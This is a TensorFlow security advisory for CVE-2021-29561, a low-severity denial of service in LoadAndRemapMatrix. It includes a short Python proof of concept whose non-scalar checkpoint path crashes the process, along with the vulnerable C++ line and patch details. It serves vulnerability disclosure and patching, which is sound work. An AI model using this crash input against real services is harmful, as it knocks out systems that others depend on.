`CHECK`-fail in `LoadAndRemapMatrix`

Low **mihaimaruseac** published **GHSA-gvm4-h8j3-rjrq** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a denial of service by exploiting a `CHECK` -failure coming from `tf.raw_ops.LoadAndRemapMatrix` :

```
import tensorflow as tf

ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.constant(1.0)

tf.raw_ops.LoadAndRemapMatrix(
    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,
    row_remapping=row_remapping, col_remapping=col_remapping,
    initializing_values=initializing_values, num_rows=0, num_cols=1)
```

This is because the implementation assumes that the `ckpt_path` is always a valid scalar.

```
const string& ckpt_path = ckpt_path_t->scalar<tstring>()();
```

However, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix` . This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process.

Patches

We have patched the issue in GitHub commit 77dd114513d7796e1e2b8aece214a380af26fbf4.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29561

Weaknesses

No CWEs